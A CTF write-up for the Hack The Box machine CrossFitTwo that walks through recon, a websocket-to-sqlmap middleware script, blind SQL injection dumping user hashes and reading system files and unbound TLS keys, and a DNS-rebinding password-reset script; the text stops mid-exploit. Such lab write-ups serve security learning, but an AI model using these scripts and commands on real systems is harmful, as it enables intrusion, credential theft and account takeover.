HTB CrossFitTwo

10.10.10.232 | 50 pts

PART 1 : INITIAL RECON

1.1 MACHINE INFORMATION

1.2 NMAP SCAN

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.232

  PORT     STATE SERVICE
  22/tcp   open  ssh
  80/tcp   open  http
  8953/tcp open  ub-dns-control

$ nmap -oN nmap-tcp -p 22,80,8953 -sC -sV -v 10.10.10.232

  PORT     STATE SERVICE             VERSION
  22/tcp   open  ssh                 OpenSSH 8.4 (protocol 2.0)
  | ssh-hostkey:
  |   3072 35:0a:81:06:de:be:8c:d8:d7:27:66:db:96:94:fd:52 (RSA)
  |   256 94:60:55:35:9a:1a:a8:45:a1:ae:19:cd:61:05:ec:3f (ECDSA)
  |_  256 a2:c8:6b:6e:11:b6:70:69:db:d2:60:2e:2f:d1:2f:ab (ED25519)
  80/tcp   open  http                (PHP 7.4.12)
  | fingerprint-strings:
  |   GetRequest, HTTPOptions:
  |     HTTP/1.0 200 OK
  |     Connection: close
  |     Connection: close
  |     Content-type: text/html; charset=UTF-8
  |     Date: Sat, 17 Apr 2021 06:38:35 GMT
  |     Server: OpenBSD httpd
  |     X-Powered-By: PHP/7.4.12
  |     <!DOCTYPE html>
  |     <html lang="zxx">
  |     <head>
  |     <meta charset="UTF-8">
  |     <meta name="description" content="Yoga StudioCrossFit">
  |     <meta name="keywords" content="Yoga, unica, creative, html">
  |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  |     <meta http-equiv="X-UA-Compatible" content="ie=edge">
  |    <title>CrossFit</title>
  |     <!-- Google Font -->
  |     <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet">
  |     <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet">
  |     <!-- Css Styles -->
  |     <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css">
  |_    <link rel="styleshe
  | http-methods:
  |_  Supported Methods: GET HEAD POST OPTIONS
  |_http-server-header: OpenBSD httpd
  |_http-title: CrossFit
  8953/tcp open  ssl/ub-dns-control?
  | ssl-cert: Subject: commonName=unbound
  | Issuer: commonName=unbound
  | Public Key type: rsa
  | Public Key bits: 3072
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2021-01-11T07:01:10
  | Not valid after:  2040-09-28T07:01:10
  | MD5:   efdc 4f2c 5d7e 63c0 3995 4c27 c285 9985
  |_SHA-1: 1c66 9cc5 8b72 5c95 d730 0862 4d86 84d7 8a09 1d9b

PART 2 : PORT ENUMERATION

2.1 TCP PORT 22 (OpenSSH)

The SSH client supports authentication using a password for regular users:

$ ssh -l test 10.10.10.232

  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.232's password:
  Permission denied, please try again.
  test@10.10.10.232's password:
  test@10.10.10.232: Permission denied (password).

2.2 TCP PORT 80 (HTTP)

Opening the service via a web browser brings you to:

A subdomain is found among the links within the landing page:

$ curl --silent http://10.10.10.232 | grep -E "<a.*href" | sed -E 's/.*href=(".*").*/\1/g' | cut -d'"' -f2 | grep -v -E "#|https"

  ./index.php
  ./index.php
  ./about-us.php
  ./classes.php
  ./blog.php
  ./contact.php
  http://employees.crossfit.htb

Updating the /etc/hosts file to be able to resolve the new finding:

$ cat /etc/hosts | grep 10.10.10.232 
                                                                                            
  10.10.10.232    employees.crossfit.htb crossfit.htb

Now, going to http://employees.crossfit.htb, it leads you to a login page:

Within the login page is a link to “Forgot Password?”. It rejects unregistered email addresses. This might be something to work on later in the machine:

Going back to the main site (10.10.10.232 or crossfit.htb) then running gobuster to look for other directories or files that weren’t previously seen. Non-existent pages are tagged as 403 (Forbidden) so I filtered them out during this run:

$ gobuster dir -b 403,404 -o 80_gobuster.txt -u http://10.10.10.232 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

  /images               (Status: 301) [Size: 510] [--> http://10.10.10.232/images/]
  /index.php            (Status: 200) [Size: 19041]
  /contact.php          (Status: 200) [Size: 8007]
  /img                  (Status: 301) [Size: 510] [--> http://10.10.10.232/img/]
  /blog.php             (Status: 200) [Size: 15369]
  /css                  (Status: 301) [Size: 510] [--> http://10.10.10.232/css/]
  [ERROR] 2021/04/17 22:31:22 [!] Get "http://10.10.10.232/ws": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
  /js                   (Status: 301) [Size: 510] [--> http://10.10.10.232/js/]
  /about-us.php         (Status: 200) [Size: 15733]
  /classes.php          (Status: 200) [Size: 25946]
  /vendor               (Status: 301) [Size: 510] [--> http://10.10.10.232/vendor/]
  /elements.php         (Status: 200) [Size: 19654]
  /fonts                (Status: 301) [Size: 510] [--> http://10.10.10.232/fonts/]

The path /ws seems to exist but it always times out when requested. This might be shorthand for websockets. This will be explored later on:

$ curl -I http://10.10.10.232/ws 
                                                                                   
  curl: (52) Empty reply from server

2.3 TCP PORT 8953 (Unbound Control DNS)

This service could be used to query/configure various things DNS-related but it is running with SSL and no valid certificate has been found as of yet:

$ unbound-control -s 10.10.10.232@8953 status 
                                                                                   
  error: Error setting up SSL_CTX client cert
  /etc/unbound/unbound_control.pem: Permission denied

PART 3: EXPLOITATION

3.1 CONNECTING TO /ws

Creating a simple python script to check if /ws is a websocket and if it’s possible to connect:

import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
        req = await websocket.send(message)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    message = input("> ")
    res = asyncio.get_event_loop().run_until_complete(request(target, message))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()

Running this script to check how the server will respond:

$ python3 ws.py 
                                                                                   
  > something
  {
    "status": "200",
    "message": "Hello! This is Arnold, your assistant. Type 'help' to see available commands.",
    "token": "b5cb1143b0c81267c82042790efd1daf0f5c0fe95837dfac3c2b75dcea4f7b1c"
  }

$ python3 ws.py 
                                                                                   
  > help
  {
    "status": "200",
    "message": "Hello! This is Arnold, your assistant. Type 'help' to see available commands.",
    "token": "c28f5c5760ca525ad42c7b092dcf7526441b403769e6f0cca622c5774631a610"
  }

The server is actually running a websocket on /ws. There is a token and it seems like in order to submit an actual command like “help”, a valid token is required so I modified the script to take the token generated from an initial request to check for reuse and pass it along with the submitted command:

import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": message,
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    message = input("> ")
    res = asyncio.get_event_loop().run_until_complete(request(target, message))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()

Running the script again to check if token is valid:

$ python3 ws.py 
                                                                                   
  > help
  {
    "status": "200",
    "message": "Available commands:<br>- coaches<br>- classes<br>- memberships",
    "token": "415d0b2e7de422c6758d8cfa7bbd0729731f73e9438408f3f5d47c33db27d747"
  }

The reused token was able to send commands to the websocket and there are three available commands listed when sending “help” -- coaches, classes, and memberships. Showing the output of each command:

$ python3 ws.py 
                                                                                   
  > coaches
  {
    "status": "200",
    "message": "Meet our amazing coaches!<br><br><img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img> Will Smith<br><code>2017 World CrossFit Champion</code><br><br><img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img> Maria Williams<br><code>2018 Fitness Guru of the year</code><br><br><img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img> Jack Parker<br><code>2019 IronMan Champion</code><br><br>",
    "token": "ceca672d45c970472a71d831bc5f49417e7e22c831095b34f25b40e7a949d800"
  }

$ python3 ws.py 
                                                                                   
  > classes
  {
    "status": "200",
    "message": "Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>- CrossFit (Level 1 and 2)<br>- Fitness (Body and Mind)<br>- Climbing (Bouldering and Free)<br>- Cardio (Marathon training)<br>- Stretching (Isometric)<br>- Weight Lifting (Body Building, Power Lifting)<br>- Yoga (Power, Hatha, Kundalini)<br>- Nutrition (Customized meal plans)<br>- TRX (Suspension training)<br>",
    "token": "b0d8cd3f20d9bac4e251ee239324fee784a58546a04f622a931661dbb61cb272"
  }

$ python3 ws.py 
                                                                                   
  > memberships
  {
    "status": "200",
    "message": "Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>",
    "token": "7099d83fd04e2a053f595492a89c48837a3c8f92360801f23537ea5d1203086d"
  }

Showing the messages in beautified format:

<!-- coaches -->
Meet our amazing coaches!<br><br>
<img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img>Will Smith<br>
<code>2017 World CrossFit Champion</code><br><br>
<img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img>Maria Williams<br>
<code>2018 Fitness Guru of the year</code><br><br>
<img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img>Jack Parker<br>
<code>2019 IronMan Champion</code><br><br>

<!-- classes -->
Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>
- CrossFit (Level 1 and 2)<br>
- Fitness (Body and Mind)<br>
- Climbing (Bouldering and Free)<br>
- Cardio (Marathon training)<br>
- Stretching (Isometric)<br>
- Weight Lifting (Body Building, Power Lifting)<br>
- Yoga (Power, Hatha, Kundalini)<br>
- Nutrition (Customized meal plans)<br>
- TRX (Suspension training)<br>

<!-- memberships -->
Check the availability of our membership plans with a simple click!<br><br>
<b>1-month ($99.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br>
<b>3-months ($129.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br>
<b>6-months ($189.99 <del>$209.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br>
<b>1-year ($859.99 <del>$899.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>

3.2 FUZZING COMMANDS

Nothing is usable as of the moment and after fuzzing what other commands might turn out something from the websocket, I eventually tried availability andavailable. The first one didn’t turn out anything but the latter generated a possibly good lead. This might be related to the check_availability() function as seen from the output from memberships. A parameter, id, is required and was stated to be undefined in the output and the value of which must be either one from 1-4:

$ python3 ws.py 
                                                                                   
  > available
  {
    "status": "200",
    "message": "I'm sorry, this membership plan is currently unavailable.",
    "token": "02e5580f54dc0b5159c27cd13726659a4040e6e4cc1278b2da417d3ad218c8eb",
    "debug": "[id: undefined]"
  }

Passing the parameter, id, simply as a field in the JSON payload, it should be done through a parameter called, params. The updated python script now looks like this:

import asyncio
import json as j
import websockets as ws

async def request(target):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": "available",
              "params": 1,
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)

def main():
    target = "ws://crossfit.htb/ws"
    res = asyncio.get_event_loop().run_until_complete(request(target))
    print(j.dumps(res,indent=4))

if __name__ == "__main__": main()

And after running the script above:

$ python3 ws.py 
                                                                                   
  {
    "status": "200",
    "message": "Good news! This membership plan is available.",
    "token": "4b28241ea564cbc78c1fdd9fdd1cd20b968da1ca69e5206eb0fe98a18235feca",
    "debug": "[id: 1, name: 1-month]"
  }

3.3 SQLi OVER WEBSOCKETS

The parameter, id, is usually tested for SQL Injection vulnerabilities. It should be fairly easy, but in this case, it will be passed through a websocket that needs a valid token in order to check for exploitability. I came across this article which provides information on how to be able to run sqlmap over a websocket. The goal is to locally start a web server that will take the output from the websocket into a locally hosted page. This will essentially serve as a middleware for sqlmap and the websocket.

I modified my python script for the final time. This will start a web server on port 6969 where it will take values through a GET parameter, id, and pass it to the websocket on 10.10.10.232/ws. The response of the websocket will then be written in the response body of the local server:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import asyncio
import json as j
import websockets as ws

async def request(target, message):
   async with ws.connect(target) as websocket:
       req = await websocket.send("init")
        token = j.loads(await websocket.recv())["token"]
       req_json = j.dumps({
            "message": "available",
              "params": unquote(message).replace('"',"'"),
            "token": token
        })
        req = await websocket.send(req_json)          
        res = await websocket.recv()
        return j.loads(res)["message"]

def middleware_server(host_port):

    class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self) -> None:
        self.send_response(200)
                
        params_get = urlparse(self.path).query.split('&')
        payload = dict()
        for i in params_get:
            param = i.split("=",1)
            payload[param[0]] = param[1]

        if "id" in payload:
            target = "ws://crossfit.htb/ws"
            message = payload["id"]
            content = asyncio.get_event_loop().run_until_complete(request(target, message))

        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(content.encode())
        return
    class Server(TCPServer): allow_reuse_address = True

    httpd = Server(host_port, CustomHandler)
    httpd.serve_forever()

def main():
    try: middleware_server(('0.0.0.0', 6969))
    except KeyboardInterrupt: pass

if __name__ == "__main__": main()

For the exploit to work, first start the server on another terminal:

$ python3 server.py

Then run sqlmap to know what kind of injections you can do if possible. In this case, a boolean-based blind injection was returned:

$ sqlmap -u http://localhost:6969/?id=1 --batch

  [..omitted..]
  ---
  Parameter: id (GET)
      Type: boolean-based blind
      Title: AND boolean-based blind - WHERE or HAVING clause
      Payload: id=1 AND 2563=2563
  ---
  [..omitted..]

Since the parameter, id, was considered vulnerable, the database could now be dumped:

$ sqlmap -u http://localhost:6969/?id=1 --batch --dbs

  [..omitted..]
  available databases [3]:
  [*] crossfit
  [*] employees
  [*] information_schema
  [..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees --tables

  Database: employees
  [2 tables]
  +----------------+
  | employees      |
  | password_reset |
  +----------------+

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees -T password_reset --dump

  Database: employees
  Table: password_reset
  [0 entries]
  +-------+-------+---------+
  | email | token | expires |
  +-------+-------+---------+
  +-------+-------+---------+

$ sqlmap -u http://localhost:6969/?id=1 --batch -D employees -T employees --dump

employees.password_reset has no entries. It is possible that a token is saved there whenever a password reset is requested from http://employees.crossfit.htb/password-reset.php.

The table, employees.employees, contains the usernames and password hashes of all users. However, none of which are crackable:

id

username

email

password

1

administrator

david.palmer@crossfit.htb

fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8

2

wsmith

will.smith@crossfit.htb

06b4daca29092671e44ef8fad8ee38783b4294d9305853027d1b48029eac0683

3

mwilliams

maria.williams@crossfit.htb

fe46198cb29909e5dd9f61af986ca8d6b4b875337261bdaa5204f29582462a9c

4

jparker

jack.parker@crossfit.htb

4de9923aba6554d148dbcd3369ff7c6e71841286e5106a69e250f779770b3648

Now that valid emails are found, we can now issue a password reset:

Which then responds with “Reset link sent, please check your email.

A reset token is indeed saved in the employees.password_reset table but it seems that it is deleted once the password reset link has been “clicked”. Given that the SQL Injection vulnerability is boolean-based blind, the exact value of the token can’t be extracted in one go and takes quite some time to fully extract. The race condition seems impossible based on the current parameters given.

3.4 VHOST ENUMERATION

What else can be done with the SQL injection vulnerability is to read files from the server:

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/passwd

  [..omitted..]
  [INFO] fetching file: '/etc/passwd'
  [INFO] retrieved: 726F6F743A2A3A303A303A436861726C696520263A2F726[..omitted..]

The file is encoded in hex but when decoded, it shows the contents of the /etc/passwd file:

root:*:0:0:Charlie &:/root:/bin/ksh
[..omitted..]
lucille:*:1002:1002:,,,:/home/lucille:/bin/csh
node:*:1003:1003::/home/node:/bin/ksh
[..omitted..]
david:*:1004:1004:,,,:/home/david:/bin/csh
john:*:1005:1005::/home/john:/bin/csh
[..omitted..]

The files, httpd.conf and relayd.conf, were also read from the server which contains the configuration for virtual hosts deployed in OpenBSD:

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/httpd.conf

  [..omitted..]
  [INFO] fetching file: '/etc/httpd.conf'
  [INFO] retrieved: 2320244F70656E4253443A2068747470642E636F6E662C7[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/etc/relayd.conf

  [..omitted..]
  [INFO] fetching file: '/etc/relayd.conf'
  [INFO] retrieved: 7461626C653C313E7B3132372E302E302E317D0A7461626[..omitted..]

The contents of /etc/httpd.conf reveals that there is another virtual host running called “chat”:

# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $


types {
    include "/usr/share/misc/mime.types"
}

[..omitted..]

server "chat" {
    no log
    listen on lo0 port 8002

        root "/htdocs_chat"
        directory index index.html

    location match "^/home$" {
        request rewrite "/index.html"
    }
    location match "^/login$" {
        request rewrite "/index.html"
    }
    location match "^/chat$" {
        request rewrite "/index.html"
    }
    location match "^/favicon.ico$" {
        request rewrite "/images/cross.png"
    }
}

While the contents of /etc/relayd.conf reveals that there is another domain, “crossfit-club.htb”. What is interesting here is that both crossfit-club.htb and employees.crossfit.htb are prefixed with a wildcard (*) and all connections are routed to localhost:

table<1>{127.0.0.1}
table<2>{127.0.0.1}
table<3>{127.0.0.1}
table<4>{127.0.0.1}
http protocol web{
    pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
    pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
    match request path "/*" forward to <1>
    match request path "/ws*" forward to <4>
    http websockets
}

table<5>{127.0.0.1}
table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4}
http protocol portal{
    pass request quick path "/" forward to <5>
    pass request quick path "/index.html" forward to <5>
    pass request quick path "/home" forward to <5>
    pass request quick path "/login" forward to <5>
    pass request quick path "/chat" forward to <5>
    pass request quick path "/js/*" forward to <5>
    pass request quick path "/css/*" forward to <5>
    pass request quick path "/fonts/*" forward to <5>
    pass request quick path "/images/*" forward to <5>
    pass request quick path "/favicon.ico" forward to <5>
    pass forward to <6>
    http websockets
}

relay web{
    listen on "0.0.0.0" port 80
    protocol web
    forward to <1> port 8000
    forward to <2> port 8001
    forward to <3> port 9999
    forward to <4> port 4419
}

relay portal{
    listen on 127.0.0.1 port 9999
    protocol portal
    forward to <5> port 8002
    forward to <6> port 5000 mode source-hash
}

Now, updating the /etc/hosts file to contain crossfit-club.htb:

$ cat /etc/hosts | grep 10.10.10.232                                   
                                                          
  10.10.10.232    employees.crossfit.htb crossfit-club.htb crossfit.htb

Then, looking at the contents of http://crossfit-club.htb, it leads you to a sign-in page and trying to navigate to /home or /chat redirects you back to /login while the sign up functionality is disabled.

3.5 DNS REBINDING

Going back to previous findings, there is an open port for unbound-dns-control. Trying to read its configuration file using the SQL Injection vulnerability earlier:

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/unbound.conf

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/unbound.conf'
  [INFO] retrieved: 7365727665723A0A09696E746572666163653A203132372[..omitted..]

Which when decoded shows the following:

server:
    interface: 127.0.0.1
    interface: ::1
    access-control: 0.0.0.0/0 refuse
    access-control: 127.0.0.0/8 allow
    access-control: ::0/0 refuse
    access-control: ::1 allow
    hide-identity: yes
    hide-version: yes
    msg-cache-size: 0
    rrset-cache-size: 0
    cache-max-ttl: 0
    cache-max-negative-ttl: 0
    auto-trust-anchor-file: "/var/unbound/db/root.key"
    val-log-level: 2
    aggressive-nsec: yes
    include: "/var/unbound/etc/conf.d/local_zones.conf"

remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-key-file: "/var/unbound/etc/tls/unbound_server.key"
    server-certfile: "/var/unbound/etc/tls/unbound_server.pem"
    control-key-file: "/var/unbound/etc/tls/unbound_control.key"
    control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"

Absolute paths for the certificate and key files are written in the configuration file and reading those files from the server using sqlmap:

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_server.key

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_server.key'
  [INFO] retrieved: [..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_server.pem

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_server.pem'
  [INFO] retrieved: 2D2D2D2D2D424547494E2043455254494649434154452D2[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_control.key

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_control.key'
  [INFO] retrieved: 2D2D2D2D2D424547494E205253412050524956415445204[..omitted..]

$ sqlmap -u http://localhost:6969/?id=1 --batch --file-read=/var/unbound/etc/tls/unbound_control.pem

  [..omitted..]
  [INFO] fetching file: '/var/unbound/etc/tls/unbound_control.pem'
  [INFO] retrieved: 2D2D2D2D2D424547494E2043455254494649434154452D2[..omitted..]

The unbound_server.key file couldn’t be read but the other certificate files could be read:

-----BEGIN CERTIFICATE-----
MIIDoDCCAggCCQDx3ZJ+FQdNnjANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAd1
bmJvdW5kMB4XDTIxMDExMTA3MDExMFoXDTQwMDkyODA3MDExMFowEjEQMA4GA1UE
AwwHdW5ib3VuZDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALaSthKv
1/LXjUfayIL0K3ThP3vs1+PpaPKPiRkj7VYKL3Q3lvHbCEzmjwFxzrYfykbJnrdm
7pgPVGlWbra2ifSfNokVcC/sblub7GXvUKUWbK5Javr7vI8Eljvn9q28ze9FZz6W
1ZojGXSU9M1KU5kslNTnF4sTLcvU9UJGW37Kv/hGqlN8MYFUCM5jOke94rewUuoT
9xw4cveDnMcHwjBlbSQL6R2e7GQWlU/vb1ntDq1nFE3Bu7tK+JD3Ni9Rt7jTfr/u
ezZPuEg/6z1iKtnmXNOCwZGHS5gOdGRQaf4USnjYy7DaSVwXsOQUpZ6tWptolyp9
BrZM3Q1UHG0OZYCNo04i8kL50a9pVggs7Q0TvSqO2KgYMRj78vNzotPE+8FQpj9+
7glV12BQSuh53lNS32WpwTS1yYfvw2sXt/m+BW5Ts6musGj0AANWd6BZAm735qXQ
nt719NzFQsYv0fcFAmbmgXV1X2ZhwZvxJWGDpsyLlNQKjhTWXb4J32hIzwIDAQAB
MA0GCSqGSIb3DQEBCwUAA4IBgQCmHuw7ol3PfJxidmjDkqJtA+Q4OOqgfHHAoq33
pQe2CbQEk50AZMdezxXN0I7ToOkEkXES6BiKDn7FAlOmElCAvYZhVkq7OwgHSECr
tvwiap5exR9W1cFxojz7ufWWpk+2F3RRJhudmaCMlf5KIFMK4BqNt1aHjsM7rshP
jJ3AsELCSgpOVCuc+Jnq+4IzbNNq55oMVq6k5ETsi4TgFew3gJfMEibF5zVbsXMK
A+cpyhRN+XXD0maS+C2BC2a5kGb8jp5otPXDRsJgJWrPb5irGWY9in7w8ZdOMW6v
FcSaLnz9bQ7q93+dbhPFRbjz+QWahvQyw91muwPmkLCB7OLWedha5tfuW1e4WNjt
PCAMbsSgTHsPgrrm0IoK8AfxJht9wE1Dm4XfmXSGgHU6Q7usscoV0dx47m+vmFYZ
Z1faM16lBqfIDDOHm23bIPkO08BH4VaO7HYXlXQY1RGRYH9NJlkR6+lgduK9DkNM
SeJIPkiQql3fH2trxxZ5i4P23Bk=
-----END CERTIFICATE-----

Editing the unbound configuration that was exfiltrated from the server leaving only the remote-control section and replace the certificate and key files with the absolute path of where they were saved:

remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-key-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_server.key"
    server-cert-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_server.pem"
    control-key-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_control.key"
    control-cert-file: "/home/kali/boxes/htb/CrossFitTwo/unbound_control.pem"

Then, check if the unbound server could now be reached:

$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 status

  version: 1.11.0
  verbosity: 1
  threads: 1
  modules: 2 [ validator iterator ]
  uptime: 10 seconds
  options: control(ssl)
  unbound (pid 54634) is running...

The new unbound config successfully reached the server and this should be enough to perform a DNS rebind and if you recall from what was written in relayd.conf wherein employees.crossfit.htb and crossfit-club.htb are prefixed with a wildcard and are then routed to localhost.

If a new zone is forwarded into the unbound server like fake-employees.crossfit.htb, it should be routed to the same destination as employees.crossfit.htb.

To verify this, a new subdomain, fake-employees.crossfit.htb, will be forwarded using unbound-controlthen start a DNS proxy with dnschef and finally, check if a successful request could be made to the same endpoints of employees.crossfit.htb using fake-employees.crossfit.htb:

$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb 10.10.14.28@53

  ok

Now, starting a DNS proxy:

$ sudo dnschef --fakedomains fake-employees.crossfit.htb --fakeip 10.10.14.28 -i 10.10.14.28

               _                _           __  
              | | version 0.4  | |        / _|
            __| |_ __  ___  ___| |__   ___| |_
           / _` | '_ \/ __|/ __| '_ \ / _ \  _|
          | (_| | | | \__ \ (__| | | |  __/ |  
           \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org  

  (10:14:48) [*] DNSChef started on interface: 10.10.14.28
  (10:14:48) [*] Using the following nameservers: 8.8.8.8
  (10:14:48) [*] Cooking A replies to point to 10.10.14.28 matching: fake-employees.crossfit.htb

Then, making a request to /password-reset.php which is an endpoint of employees.crossfit.htb:

$ curl -d "email=david.palmer@crossfit.htb" --resolve fake-employees.crossfit.htb:80:10.10.10.232 -X POST http://fake-employees.crossfit.htb/password-reset.php

  [..omitted..]
  Only local hosts are allowed.
  [..omitted..]

An error message is encountered -- “Only local hosts are allowed.” But the remote machine is needed to make a request from our local machine (via the --fakeip option from dnschef).

Maybe this could be done by first requesting a password reset by setting the --fakeip option to 127.0.0.1 after which, cancel the proxy then start a new one at my local IP (10.10.14.28). But first, checking if the password reset will succeed:

$ unbound-control -c new_unbound.conf -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb 10.10.14.28@53

  ok

Starting a DNS proxy but this time the --fakeip is 127.0.0.1:

$ sudo dnschef --fakedomains fake-employees.crossfit.htb --fakeip 127.0.0.1 -i 10.10.14.28

               _                _           __  
              | | version 0.4  | |        / _|
            __| |_ __  ___  ___| |__   ___| |_
           / _` | '_ \/ __|/ __| '_ \ / _ \  _|
          | (_| | | | \__ \ (__| | | |  __/ |  
           \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org   

  (10:29:37) [*] DNSChef started on interface: 10.10.14.28
  (10:29:37) [*] Using the following nameservers: 8.8.8.8
  (10:29:37) [*] Cooking A replies to point to 127.0.0.1 matching: fake-employees.crossfit.htb

Finally, making a request to /password-reset.php which is an endpoint of employees.crossfit.htb:

$ curl -d "email=david.palmer@crossfit.htb" --resolve fake-employees.crossfit.htb:80:10.10.10.232 -X POST http://fake-employees.crossfit.htb/password-reset.php

  [..omitted..]
  Reset link sent, please check your email.
  [..omitted..]

The password reset was successfully done using the fake domain and a bash script was then created that will handle the race condition when changing the DNS proxy for this exploit:

#!/bin/bash

echo "[+] DNS Rebinding";
echo "[-] forwarding fake-employees.crossfit.htb: $(unbound-control -c $2 -s 10.10.10.232@8953 forward_add +i fake-employees.crossfit.htb $1@53)";
#echo "[-] forwarding jebidiah.crossfit.htb: $(unbound-control -c $2 -s 10.10.10.232@8953 forward_add jebidiah.crossfit.htb $1@53)";

reset_password() {
    sleep 4;
    echo "[+] Sending password reset request";
    res=$(curl -s --resolve fake-employees.crossfit.htb:80:10.10.10.232 -d 'email=david.palmer@crossfit.htb' http://fake-employees.crossfit.htb/password-reset.php | grep "class..close");
    message="[-] $(echo $res | sed -E 's/^.*>(.*)<b.*$/\1/gp')";
    echo $message;
}
(reset_password &)

echo "[+] Running DNS Proxy for localhost";
i=0
dnschef --fakedomains fake-employees.crossfit.htb --fakeip 127.0.0.1 -i $1 2>&1 | while read line; do
    if [[ $line == *"Cooking"* ]]; then
        echo "[-] $line";
    fi;
    if [[ $line == *"cooking"* ]]; then
        (( i++ ));
        echo "[$i] $line";
    fi;
    if [[ "$i" -eq 1 ]]; then
        sleep 2;
        kill -9 $(ps -auwwx | grep -E "^root.*dnschef" | tr -d '\n' | awk '{print $2}');
    fi;
done;

echo "[+] Running DNS Proxy for $1"
dnschef --fakedomains fake-employees.crossfit.htb --fakeip $1 -i $1 2>&1 | while read line; do
    if [[ $line == *"Cooking"* ]]; then
        echo "[-] $line";
    fi;
    if [[ $line == *"cooking"* ]]; then
        (( i++ ));
        echo "[$i] $line";
    fi;
done;

Before running this script, a netcat listener running on port 80 was started on the local machine:

$ sudo nc -lvp 80

Finally, running the bash script with the following arguments:

$ sudo ./dns_proxy.sh 10.10.14.28 new_unbound.conf

  [-] forwarding fake-employees.crossfit.htb: ok
  [+] Running DNS Proxy for localhost
  [-] (10:45:47) [*] Cooking A replies to point to 127.0.0.1 matching: fake-employees.crossfit.htb
  [+] Sending password reset request
  [1] (10:45:52) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 127.0.0.1
  [-] Reset link sent, please check your email. Reset link sent, please check your email.
  [2] (10:45:52) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 127.0.0.1
